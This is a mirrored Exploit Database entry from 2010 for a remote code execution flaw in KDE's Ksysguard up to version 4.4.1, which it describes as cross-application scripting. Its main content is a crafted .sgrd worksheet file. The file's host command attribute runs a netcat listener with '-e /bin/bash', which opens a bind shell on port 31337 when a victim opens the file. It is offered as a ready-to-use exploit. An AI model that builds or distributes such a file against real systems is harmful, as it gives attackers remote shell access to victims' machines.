KDE 4.4.1 – Ksysguard Remote Code Execution (via Cross Application Scripting)

• Exploit Database
• 98 阅读

• 作者： emgent
  日期： 2010-03-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11817/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

  # Exploit Title: Ksysguard RCE via Cross Application Scripting # Date: 2010 03 20 # Author: Emanuele &apos;emgent&apos; Gentili # Code: http://www.backtrack.it/~emgent/exploits/20100320_Ksysguard_RCE_CAS.txt # Version: <= 4.4.1 # CVE : N/A # Vendor: http://www.kde.org # Video: http://www.backtrack.it/~emgent/videos/16032010_-_SecuritySummit_CAS_OWNING_KDE.mov # About CAS: http://en.wikipedia.org/wiki/Cross_Application_Scripting #http://it.wikipedia.org/wiki/Cross_Application_Scripting       halfapple:~ emanuelegentili$ cat ph33r.sgrd <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE KSysGuardWorkSheet> <WorkSheet title="She" interval="2" locked="0" rows="2" columns="2" > <host command="nc -l -p31337 -e /bin/bash" /> </WorkSheet> halfapple:~ emanuelegentili$